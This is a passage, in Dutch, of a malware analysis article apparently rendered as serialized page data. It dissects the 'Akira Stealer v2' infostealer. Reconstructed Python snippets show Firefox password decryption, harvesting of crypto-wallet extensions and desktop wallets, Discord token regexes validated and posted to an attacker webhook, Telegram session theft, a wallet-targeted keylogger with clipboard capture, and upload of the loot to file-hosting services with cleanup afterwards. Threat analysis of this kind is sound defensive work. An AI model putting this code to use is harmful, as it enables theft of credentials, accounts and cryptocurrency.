der_decode(item2)\n",[1681,7560,7561],{"class":1683,"line":3862},[1681,7562,7563],{},"entry_salt = decoded[0][1][0].asOctets()\n",[1681,7565,7566],{"class":1683,"line":4109},[1681,7567,7568],{},"cipher_text = decoded[1].asOctets()\n",[1681,7570,7571],{"class":1683,"line":5033},[1681,7572,7573],{},"# Derive 3DES key\n",[1681,7575,7576],{"class":1683,"line":5039},[1681,7577,7578],{},"key = derive_3des_key(global_salt, master_password, entry_salt)\n",[1681,7580,7581],{"class":1683,"line":5045},[1681,7582,7583],{},"iv = decoded[0][1][1].asOctets()\n",[1681,7585,7586],{"class":1683,"line":5051},[1681,7587,7588],{},"# Decrypt credentials\n",[1681,7590,7591],{"class":1683,"line":5057},[1681,7592,7593],{},"cipher = DES3.new(key, DES3.MODE_CBC, iv)\n",[1681,7595,7596],{"class":1683,"line":5063},[1681,7597,7598],{},"clear_password = unpad(cipher.decrypt(cipher_text))\n",[1681,7600,7601],{"class":1683,"line":5069},[1681,7602,3853],{"emptyLinePlaceholder":325},[1681,7604,7605],{"class":1683,"line":5075},[1681,7606,7607],{},"print(\"Decrypted Firefox password:\", clear_password)\n",[533,7609,7610,7611,620,7613,2183,7615,7617],{},"Met deze routine kan Akira transparant ",[551,7612,7009],{},[551,7614,7012],{},[551,7616,7015],{}," voor elk Firefox-profiel dumpen en de gedecrypteerde output wegschrijven naar:",[588,7619,7622],{"className":7620,"code":7621,"language":593},[591],"Passwords/Firefox_\u003CProfileName> Passwords.txt\nCookies/Firefox_\u003CProfileName> Cookies.txt\nHistory/Firefox_\u003CProfileName> History.txt\n",[551,7623,7621],{"__ignoreMap":594},[533,7625,7626],{},"Deze aanpak omzeilt de master-password-controles op gebruikersniveau, wat de stealer onbeperkte toegang geeft tot alle opgeslagen credentials.*",[533,7628,7629],{},[540,7630,7631],{},"4. Bestandsstructuur & naamgeving",[588,7633,7636],{"className":7634,"code":7635,"language":593,"meta":594},[591],"\u003CComputerName>.zip\n└── \u003CComputerName>\\\n    ├── Passwords\\\n    │   ├── Chrome Passwords.txt\n    │   ├── Edge Passwords.txt\n    │   └── …\n    ├── Cookies\\\n    │   ├── Chrome Cookies.txt\n    │   ├── Edge Cookies.txt\n    │   ├── user@example.com Google Session.txt\n    │   └── …\n    ├── CreditCards\\\n    │   ├── Chrome CreditCards.txt\n    │   └── …\n    ├── History\\\n    │   ├── Chrome History.txt\n    │   └── …\n    ├── Autofill\\\n    │   ├── Chrome Autofill.txt\n    │   └── …\n    └── Wallets\\\n        ├── Firefox_Default_profiles.zip\n        ├── Firefox_Profile1_profiles.zip\n        └── …\n",[551,7637,7635],{"__ignoreMap":594},[604,7639,7640,7655,7661],{},[607,7641,7642,7643,7646,7647,7650,7651,7654],{},"Elke ",[551,7644,7645],{},".txt"," begint met een vaste header (",[551,7648,7649],{},"\u003C================[Akira Stealer v2]>================>",") en een scheidingslijn (",[551,7652,7653],{},"====…====",").",[607,7656,7657,7658,697],{},"ZIP op schijf: ",[551,7659,7660],{},"%TEMP%\\\u003CComputerName>.zip",[607,7662,7663,7664,697],{},"C&C-bestandslabel: ",[551,7665,7666],{},"Akira-\u003Cusername>.zip",[533,7668,7669],{},[540,7670,7671],{},"5. Exfiltratie & opschoning",[588,7673,7675],{"className":4495,"code":7674,"language":4497,"meta":594,"style":594},"url = Webhook.uploadToGofile(zip_path)\nif not url:\n    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\nWebhook.sendDataTG(zip_path, chatId, startup)\nUtils.clear_client_folder()\n",[551,7676,7677,7682,7687,7692,7697],{"__ignoreMap":594},[1681,7678,7679],{"class":1683,"line":1684},[1681,7680,7681],{},"url = Webhook.uploadToGofile(zip_path)\n",[1681,7683,7684],{"class":1683,"line":2061},[1681,7685,7686],{},"if not url:\n",[1681,7688,7689],{"class":1683,"line":2067},[1681,7690,7691],{},"    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1681,7693,7694],{"class":1683,"line":2073},[1681,7695,7696],{},"Webhook.sendDataTG(zip_path, chatId, startup)\n",[1681,7698,7699],{"class":1683,"line":2394},[1681,7700,7701],{},"Utils.clear_client_folder()\n",[604,7703,7704,7714,7728,7745],{},[607,7705,7706,7709,7710,7713],{},[540,7707,7708],{},"Primair kanaal (GoFile.io):"," De malware probeert eerst het ZIP-archief met alle gestolen artefacten te uploaden naar GoFile.io en parseert de JSON-respons op een ",[551,7711,7712],{},"downloadPage","-URL die de aanvaller directe toegang tot het archief geeft.",[607,7715,7716,7719,7720,7723,7724,7727],{},[540,7717,7718],{},"Automatische fallbacks:"," Mocht het GoFile-endpoint falen (netwerktimeout, rate limit, enz.), dan valt de code moeiteloos terug op ",[551,7721,7722],{},"file.io",", en als ook dat een lege link teruggeeft, uiteindelijk op ",[551,7725,7726],{},"oshi.at",". Beide alternatieven worden aangeroepen zonder exceptions te werpen, waardoor gegarandeerd een van de drie diensten na elkaar wordt geprobeerd.",[607,7729,7730,7733,7734,7737,7738,620,7741,7744],{},[540,7731,7732],{},"Webhook-rapportage:"," Zodra een URL (of een lege string bij aanhoudend falen) is bepaald, wordt ",[551,7735,7736],{},"Webhook.sendDataTG(...)"," aangeroepen, dat de downloadlink, machine-identifiers (",[551,7739,7740],{},"chatId",[551,7742,7743],{},"startup","-flag) en alle categorietellingen (passwords, cookies, autofills, wallets) samenpakt in één Discord- of Telegram-bericht.",[607,7746,7747,7750,7751,7754],{},[540,7748,7749],{},"Directe opschoning:"," Na de rapportage verwijdert ",[551,7752,7753],{},"Utils.clear_client_folder()"," recursief de volledige tijdelijke werkruimte en het ZIP-bestand zelf, waardoor er geen spoor van de geoogste data of het archief op schijf achterblijft.",[821,7756,7757,7762],{},[533,7758,7759],{},[540,7760,7761],{},"Failure Resilience:",[604,7763,7764,7771],{},[607,7765,7766,7767,7770],{},"Alle uploadroutines geven bij falen ",[551,7768,7769],{},"\"\""," terug in plaats van te throwen, wat garandeert dat de codeflow verder blijft lopen.",[607,7772,7773],{},"Zelfs als elke dienst onbereikbaar is, verzendt de malware nog steeds een webhook-rapport (weliswaar met een ontbrekende link) voordat lokale artefacten worden gewist, wat de forensische resten minimaliseert tenzij het proces onverwacht crasht.",[827,7775],{"className":7776},[830,831],[533,7778,7779],{},[540,7780,7781],{},"6. Robuustheid & foutafhandeling",[604,7783,7784,7802,7808,7817],{},[607,7785,7786,7789,7790,7793,7794,7797,7798,7801],{},[540,7787,7788],{},"Granulaire exception handling:"," Elke interactie met het bestandssysteem—of het nu ",[551,7791,7792],{},"shutil.copy",", SQLite-queries of ZIP-operaties zijn—wordt omhuld met ",[551,7795,7796],{},"try/except","-blokken. Wanneer een fout optreedt (vergrendelde DB, permission denied, misvormd record), wordt de exception opgevangen en gelogd via ",[551,7799,7800],{},"Akira.logErrorTg()",", en de uitvoering gaat door, waardoor het falen geïsoleerd blijft tot dat specifieke bestand of die specifieke module.",[607,7803,7804,7807],{},[540,7805,7806],{},"Threaded isolatie per browser:"," De extractieroutines voor elke ondersteunde browser draaien in hun eigen thread. Dit multithreaded ontwerp zorgt ervoor dat een crash of deadlock in de extractie van één browser (bijv. corrupt profiel, ontbrekende key) de analyse van andere browsers niet stopzet of vertraagt.",[607,7809,7810,7813,7814,7816],{},[540,7811,7812],{},"Silent fallbacks & defaults:"," Veel hulproutines, zoals uploaden naar alternatieve filehosts, het controleren van remote resources of het spawnen van subprocessen, gebruiken geneste ",[551,7815,7796],{}," zonder meldingen aan de oppervlakte—wat de stealth maximaliseert. Standaardwaarden (lege strings, booleans) zijn gekozen om de flow ononderbroken te houden en voor de hand liggende foutcondities weg te nemen.",[607,7818,7819,7822,7823,7826,7827,7830],{},[540,7820,7821],{},"Mutex & startup guards:"," Een named mutex (",[551,7824,7825],{},"1qsMlseJplTlArIF14f",") voorkomt meerdere instanties, terwijl registercontroles en ",[551,7828,7829],{},"Utils.CreateMutex()"," tegen gelijktijdige runs beschermen, wat extra stabiliteit biedt tijdens deployment in de praktijk.",[715,7832,7834],{"id":7833},"_78-wallet-en-token-exfiltratie","7.8 Wallet- en token-exfiltratie",[533,7836,721],{},[533,7838,7839],{},"In deze fase voert Akira Stealer v2 de meest complete sweep uit voor cryptocurrency-credentials en sessietokens, verspreid over browserextensies, desktopwallets, messaging-tokens en live keylogging. Het draait in parallelle threads, zodat geen enkele vector wordt gemist. Hieronder volgt een stapsgewijze, met code onderbouwde deep dive.",[862,7841,7843],{"id":7842},"_781-wallets-als-browserextensie","7.8.1 Wallets als browserextensie",[533,7845,868],{},[533,7847,7848,7851],{},[540,7849,7850],{},"Targets:"," Meer dan 80 extensies verspreid over populaire browsers, waaronder MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman en meer.",[588,7853,7855],{"className":4495,"code":7854,"language":4497,"meta":594,"style":594},"# Hardcoded list of extension IDs and human-friendly names\nwalletsExtensions = [\n    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n    # ... plus dozens more mapped in code\n]\n# Extraction loop for each browser profile\nfor browser_name, (user_data, proc_name) in paths.items():\n    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n    for ext_name, ext_id in walletsExtensions:\n        src = os.path.join(base, ext_id)\n        if os.path.isdir(src):\n            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n            shutil.copytree(src, dest, dirs_exist_ok=True)\n            data.ext_wallets_count += 1\n",[551,7856,7857,7862,7867,7872,7877,7882,7887,7892,7897,7902,7907,7912,7917,7922,7927,7932,7937,7942,7947,7952,7957,7962,7967],{"__ignoreMap":594},[1681,7858,7859],{"class":1683,"line":1684},[1681,7860,7861],{},"# Hardcoded list of extension IDs and human-friendly names\n",[1681,7863,7864],{"class":1683,"line":2061},[1681,7865,7866],{},"walletsExtensions = [\n",[1681,7868,7869],{"class":1683,"line":2067},[1681,7870,7871],{},"    [\"MetaMask\",        \"nkbihfbeogaeaoehlefnkodbefgpgknn\"],\n",[1681,7873,7874],{"class":1683,"line":2073},[1681,7875,7876],{},"    [\"Phantom\",         \"bfnaelmomeimhlpmgjnjophhpkkoljpa\"],\n",[1681,7878,7879],{"class":1683,"line":2394},[1681,7880,7881],{},"    [\"TrustWallet\",     \"egjidjbpglichdcondbcbdnbeeppgdph\"],\n",[1681,7883,7884],{"class":1683,"line":2400},[1681,7885,7886],{},"    [\"CoinbaseWallet\",  \"hfhmhopkfngkjcalldmaepmpilmjjemb\"],\n",[1681,7888,7889],{"class":1683,"line":3059},[1681,7890,7891],{},"    [\"Solflare\",        \"bhhhlbepdkbapadjdnnojkbgioiodbic\"],\n",[1681,7893,7894],{"class":1683,"line":3856},[1681,7895,7896],{},"    [\"BinanceChain\",    \"fhbohimaelbohpjbbldcngcnapndodjp\"],\n",[1681,7898,7899],{"class":1683,"line":3862},[1681,7900,7901],{},"    [\"Keplr\",           \"dmkamcknogkgcdfhhbddcghachkejeap\"],\n",[1681,7903,7904],{"class":1683,"line":4109},[1681,7905,7906],{},"    [\"Nami\",            \"lpfcbjknijpeeillifnkikgncikgfhdo\"],\n",[1681,7908,7909],{"class":1683,"line":5033},[1681,7910,7911],{},"    [\"Talisman\",        \"fijngjgcjhjmmpcmkeiomlglpeiijkld\"],\n",[1681,7913,7914],{"class":1683,"line":5039},[1681,7915,7916],{},"    [\"TronLink\",        \"ibnejdfjmmkpcnlpebklmnkoeoihofec\"],\n",[1681,7918,7919],{"class":1683,"line":5045},[1681,7920,7921],{},"    # ... plus dozens more mapped in code\n",[1681,7923,7924],{"class":1683,"line":5051},[1681,7925,7926],{},"]\n",[1681,7928,7929],{"class":1683,"line":5057},[1681,7930,7931],{},"# Extraction loop for each browser profile\n",[1681,7933,7934],{"class":1683,"line":5063},[1681,7935,7936],{},"for browser_name, (user_data, proc_name) in paths.items():\n",[1681,7938,7939],{"class":1683,"line":5069},[1681,7940,7941],{},"    base = os.path.join(user_data, \"Default\", \"Local Extension Settings\")\n",[1681,7943,7944],{"class":1683,"line":5075},[1681,7945,7946],{},"    for ext_name, ext_id in walletsExtensions:\n",[1681,7948,7949],{"class":1683,"line":5081},[1681,7950,7951],{},"        src = os.path.join(base, ext_id)\n",[1681,7953,7954],{"class":1683,"line":5087},[1681,7955,7956],{},"        if os.path.isdir(src):\n",[1681,7958,7959],{"class":1683,"line":5093},[1681,7960,7961],{},"            dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", f\"{ext_name}_{browser_name}\")\n",[1681,7963,7964],{"class":1683,"line":5099},[1681,7965,7966],{},"            shutil.copytree(src, dest, dirs_exist_ok=True)\n",[1681,7968,7969],{"class":1683,"line":5105},[1681,7970,7971],{},"            data.ext_wallets_count += 1\n",[604,7973,7974,7980],{},[607,7975,7976,7979],{},[540,7977,7978],{},"Gekopieerde bestanden",": Extensiespecifieke IndexedDB, LevelDB, JSON- en configbestanden met versleutelde keys, seed phrases en logincredentials.",[607,7981,7982,973,7985,620,7988,7991],{},[540,7983,7984],{},"Resultaatmap",[551,7986,7987],{},"Wallets/MetaMask_Chrome/",[551,7989,7990],{},"Wallets/Phantom_Edge/",", enz.",[862,7993,7995],{"id":7994},"_782-desktop-walletapplicaties","7.8.2 Desktop-walletapplicaties",[533,7997,868],{},[533,7999,8000,8002],{},[540,8001,7850],{}," Grote desktopclients zoals Electrum, Exodus, Atomic Wallet, Guarda, Rabby, Coinomi, Zcash, Armory, Bytecoin, Jaxx, Coinomi, enz.",[588,8004,8006],{"className":4495,"code":8005,"language":4497,"meta":594,"style":594},"walletsDesktop = [\n    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[551,8007,8008,8013,8018,8023,8028,8033,8038,8043,8047,8052,8057,8062,8067,8072],{"__ignoreMap":594},[1681,8009,8010],{"class":1683,"line":1684},[1681,8011,8012],{},"walletsDesktop = [\n",[1681,8014,8015],{"class":1683,"line":2061},[1681,8016,8017],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1681,8019,8020],{"class":1683,"line":2067},[1681,8021,8022],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1681,8024,8025],{"class":1683,"line":2073},[1681,8026,8027],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1681,8029,8030],{"class":1683,"line":2394},[1681,8031,8032],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1681,8034,8035],{"class":1683,"line":2400},[1681,8036,8037],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1681,8039,8040],{"class":1683,"line":3059},[1681,8041,8042],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1681,8044,8045],{"class":1683,"line":3856},[1681,8046,7926],{},[1681,8048,8049],{"class":1683,"line":3862},[1681,8050,8051],{},"for name, path in walletsDesktop:\n",[1681,8053,8054],{"class":1683,"line":4109},[1681,8055,8056],{},"    if os.path.isdir(path):\n",[1681,8058,8059],{"class":1683,"line":5033},[1681,8060,8061],{},"        Utils.TaskKill(name.lower())\n",[1681,8063,8064],{"class":1683,"line":5039},[1681,8065,8066],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1681,8068,8069],{"class":1683,"line":5045},[1681,8070,8071],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1681,8073,8074],{"class":1683,"line":5051},[1681,8075,8076],{},"        data.desktop_wallets_count += 1\n",[604,8078,8079,8092],{},[607,8080,8081,8084,8085,620,8088,8091],{},[540,8082,8083],{},"Gestolen data",": Keystore-bestanden (",[551,8086,8087],{},"*.dat",[551,8089,8090],{},"*.json","), exports van private keys, walletconfiguratie en transactiegeschiedenis.",[607,8093,8094,8097],{},[540,8095,8096],{},"Voordeel",": Offline walletinhoud die de aanvaller kan gebruiken om transacties te autoriseren.",[862,8099,8101],{"id":8100},"_783-discord-token-oogst","7.8.3 Discord-token-oogst",[533,8103,868],{},[533,8105,8106],{},"Discord-tokens zijn authenticatie-artefacten—in wezen langlevende bearer tokens—die volledige toegang tot het account van een gebruiker kunnen verlenen zonder dat hun credentials of MFA nodig zijn. Akira misbruikt dit door browser- en app-datamappen af te zoeken naar tokens die door diverse Discord-clients worden opgeslagen, waaronder Discord Stable, Canary, PTB (Public Test Build) en zelfs gemodificeerde forks zoals Lightcord.",[533,8108,8109],{},"De techniek richt zich op LevelDB-bestanden onder de Local Storage van de applicatie, waar authenticatietokens vaak in plaintext blijven staan. Met reguliere expressies scant de malware deze .log- en .ldb-bestanden op patronen die overeenkomen met reguliere gebruikerstokens of MFA-tokens.",[533,8111,8112],{},"Om de betrouwbaarheid te vergroten en ruis te verminderen, bevat Akira een validatiestap: het stuurt een testverzoek naar Discord's /users/@me-endpoint met elk geoogst token. Alleen tokens die succesvol authenticeren (HTTP 200) worden via webhook geëxfiltreerd—doorgaans naar een Discord-kanaal onder controle van de aanvaller.",[533,8114,8115],{},"Deze methode stelt aanvallers in staat om Discord-accounts in realtime te kapen, het slachtoffer te imiteren, DM's en guilds te scrapen of via social engineering verdere malware uit te rollen—allemaal zonder loginwaarschuwingen te triggeren.",[588,8117,8119],{"className":4495,"code":8118,"language":4497,"meta":594,"style":594},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, json=payload)\n",[551,8120,8121,8126,8131,8136,8141,8145,8150,8155,8160,8165,8170,8175,8180,8185,8190,8195,8200,8205,8210],{"__ignoreMap":594},[1681,8122,8123],{"class":1683,"line":1684},[1681,8124,8125],{},"import re, requests\n",[1681,8127,8128],{"class":1683,"line":2061},[1681,8129,8130],{},"patterns = [\n",[1681,8132,8133],{"class":1683,"line":2067},[1681,8134,8135],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1681,8137,8138],{"class":1683,"line":2073},[1681,8139,8140],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1681,8142,8143],{"class":1683,"line":2394},[1681,8144,7926],{},[1681,8146,8147],{"class":1683,"line":2400},[1681,8148,8149],{},"def harvest_discord(base, webhook_url):\n",[1681,8151,8152],{"class":1683,"line":3059},[1681,8153,8154],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1681,8156,8157],{"class":1683,"line":3856},[1681,8158,8159],{},"    for file in os.listdir(db_dir):\n",[1681,8161,8162],{"class":1683,"line":3862},[1681,8163,8164],{},"        if file.endswith(('.log', '.ldb')):\n",[1681,8166,8167],{"class":1683,"line":4109},[1681,8168,8169],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1681,8171,8172],{"class":1683,"line":5033},[1681,8173,8174],{},"                for pat in patterns:\n",[1681,8176,8177],{"class":1683,"line":5039},[1681,8178,8179],{},"                    for token in re.findall(pat, line):\n",[1681,8181,8182],{"class":1683,"line":5045},[1681,8183,8184],{},"                        # Verify token\n",[1681,8186,8187],{"class":1683,"line":5051},[1681,8188,8189],{},"                        h = {\"Authorization\": token}\n",[1681,8191,8192],{"class":1683,"line":5057},[1681,8193,8194],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1681,8196,8197],{"class":1683,"line":5063},[1681,8198,8199],{},"                        if r.status_code == 200:\n",[1681,8201,8202],{"class":1683,"line":5069},[1681,8203,8204],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1681,8206,8207],{"class":1683,"line":5075},[1681,8208,8209],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1681,8211,8212],{"class":1683,"line":5081},[1681,8213,8214],{},"                            requests.post(webhook_url, json=payload)\n",[604,8216,8217],{},[607,8218,8219,8222],{},[540,8220,8221],{},"Validatie",": Post alleen geldige tokens, wat voorkomt dat verlopen JWT's worden verzonden.",[862,8224,8226],{"id":8225},"_784-telegram-sessiebestanden","7.8.4 Telegram-sessiebestanden",[533,8228,868],{},[533,8230,8231,8233],{},[540,8232,7850],{}," Telegram Desktop/TData",[588,8235,8237],{"className":4495,"code":8236,"language":4497,"meta":594,"style":594},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[551,8238,8239,8244,8249,8254,8259,8264],{"__ignoreMap":594},[1681,8240,8241],{"class":1683,"line":1684},[1681,8242,8243],{},"def steal_telegram(tdata_path, dest_root):\n",[1681,8245,8246],{"class":1683,"line":2061},[1681,8247,8248],{},"    if os.path.exists(tdata_path):\n",[1681,8250,8251],{"class":1683,"line":2067},[1681,8252,8253],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1681,8255,8256],{"class":1683,"line":2073},[1681,8257,8258],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1681,8260,8261],{"class":1683,"line":2394},[1681,8262,8263],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1681,8265,8266],{"class":1683,"line":2400},[1681,8267,8268],{},"        data.has_telegram = True\n",[604,8270,8271,8284],{},[607,8272,8273,973,8276,8279,8280,8283],{},[540,8274,8275],{},"Bestanden",[551,8277,8278],{},"tdata","-map met sessiekeys, ",[551,8281,8282],{},"D877F...","-map met secret/unsecret-bestanden.",[607,8285,8286,8289],{},[540,8287,8288],{},"Gebruik",": Laden in de Telegram-client van de aanvaller voor volledige accounttoegang.",[862,8291,8293],{"id":8292},"_785-live-wallet-keylogging","7.8.5 Live wallet-keylogging",[533,8295,868],{},[533,8297,8298],{},"Cryptocurrency-wallets zijn primaire targets voor moderne info-stealers. Akira bevat een live keylogger die specifiek is toegesneden op het stelen van walletcredentials zoals seed phrases, private keys en wachtwoorden op het moment van invoer. Anders dan generieke keyloggers activeert deze zich alleen wanneer een bekend walletvenster wordt gedetecteerd, wat de ruis drastisch vermindert en de efficiëntie verhoogt.",[533,8300,8301],{},"De module monitort de titels van actieve vensters en vergelijkt ze met een hardcoded lijst van populaire wallet-apps zoals MetaMask, Phantom, Atomic Wallet en andere. Zodra een overeenkomend venster de focus heeft, begint hij toetsaanslagen op te nemen via system-wide keyboard hooks. Wanneer de gebruiker op Enter drukt, legt de module direct de huidige inhoud van het klembord vast—wetende dat gebruikers vaak secrets kopiëren tijdens walletsetup of login—en stuurt zowel de getypte invoer als de klemborddata naar de webhook van de aanvaller. Deze aanpak is uiterst effectief omdat hij twee aanvalsvectoren combineert:",[604,8303,8304,8307],{},[607,8305,8306],{},"Context-aware keylogging, om gevoelige walletinvoer alleen vast te leggen wanneer relevant.",[607,8308,8309],{},"Clipboard hijacking, om gekopieerde recovery phrases of bestemmingsadressen te extraheren voordat ze worden geplakt.",[533,8311,8312],{},"Samen stellen deze methoden aanvallers in staat om wallets in realtime stilletjes te compromitteren, zelfs zonder browsertoegang of bestands-exfiltratie.",[588,8314,8316],{"className":4495,"code":8315,"language":4497,"meta":594,"style":594},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[551,8317,8318,8323,8327,8332,8337,8342,8347,8352,8356,8361,8366,8371,8376,8381,8386,8391,8396],{"__ignoreMap":594},[1681,8319,8320],{"class":1683,"line":1684},[1681,8321,8322],{},"import keyboard, pyperclip\n",[1681,8324,8325],{"class":1683,"line":2061},[1681,8326,3853],{"emptyLinePlaceholder":325},[1681,8328,8329],{"class":1683,"line":2067},[1681,8330,8331],{},"class WalletKeylogger:\n",[1681,8333,8334],{"class":1683,"line":2073},[1681,8335,8336],{},"    def __init__(self, wallet_titles):\n",[1681,8338,8339],{"class":1683,"line":2394},[1681,8340,8341],{},"        self.buf = \"\"\n",[1681,8343,8344],{"class":1683,"line":2400},[1681,8345,8346],{},"        keyboard.on_release(self.capture)\n",[1681,8348,8349],{"class":1683,"line":3059},[1681,8350,8351],{},"        self.wallet_titles = wallet_titles\n",[1681,8353,8354],{"class":1683,"line":3856},[1681,8355,3853],{"emptyLinePlaceholder":325},[1681,8357,8358],{"class":1683,"line":3862},[1681,8359,8360],{},"    def capture(self, event):\n",[1681,8362,8363],{"class":1683,"line":4109},[1681,8364,8365],{},"        title = pygetwindow.getActiveWindow().title\n",[1681,8367,8368],{"class":1683,"line":5033},[1681,8369,8370],{},"        if any(w in title for w in self.wallet_titles):\n",[1681,8372,8373],{"class":1683,"line":5039},[1681,8374,8375],{},"            if event.name == 'enter':\n",[1681,8377,8378],{"class":1683,"line":5045},[1681,8379,8380],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1681,8382,8383],{"class":1683,"line":5051},[1681,8384,8385],{},"                send_to_webhook(data)\n",[1681,8387,8388],{"class":1683,"line":5057},[1681,8389,8390],{},"                self.buf = \"\"\n",[1681,8392,8393],{"class":1683,"line":5063},[1681,8394,8395],{},"            else:\n",[1681,8397,8398],{"class":1683,"line":5069},[1681,8399,8400],{},"                self.buf += event.name\n",[604,8402,8403,8409],{},[607,8404,8405,8408],{},[540,8406,8407],{},"Triggerlijst",": Venstertitels met onder meer “MetaMask”, “Phantom”, “Atomic Wallet”, enz.",[607,8410,8411,8414],{},[540,8412,8413],{},"Klembord",": Legt gekopieerde seeds of private keys vast.",[862,8416,8418],{"id":8417},"_786-packaging-exfiltratie","7.8.6 Packaging & exfiltratie",[533,8420,868],{},[533,8422,8423],{},"Na het verzamelen van browserdata, credentials, walletinformatie en tokens gaat Akira over tot het consolideren en exfiltreren van de buit op een zeer geautomatiseerde en stealthy manier. Deze fase markeert de laatste stap in de infectieketen en is geoptimaliseerd voor betrouwbaarheid en een minimale forensische voetafdruk. Eerst wordt alle verzamelde data—inclusief browserdumps, logs en gekeyloggede walletinformatie—gecomprimeerd tot een ZIP-archief. Dit zorgt ervoor dat de volledige dataset als één payload kan worden overgedragen. Het archief wordt vervolgens geüpload naar meerdere publieke filesharingdiensten zoals GoFile, File.io of Oshi.at, afhankelijk van beschikbaarheid. Deze platforms bieden anonieme, tijdelijke hosting en worden vaak gebruikt om bedrijfsfirewalls of reputatiegebaseerde blokkering te omzeilen. Tegelijkertijd wordt een gestructureerd rapport gegenereerd en via een Discord- of Telegram-webhook naar de aanvaller gestuurd. Het bevat samenvattende statistieken—hoeveel wallets zijn gevonden, hoeveel tokens geldig waren en een directe link naar de gestolen data. Dit geeft aanvallers een snel overzicht van de waarde van het target zonder het archief te openen.",[533,8425,8426],{},"Ten slotte verwijdert de malware de tijdelijke map en het archief van de schijf, waardoor lokaal forensisch bewijs effectief wordt weggenomen. Tegen de tijd dat een verdediger de infectie ontdekt, is de data al 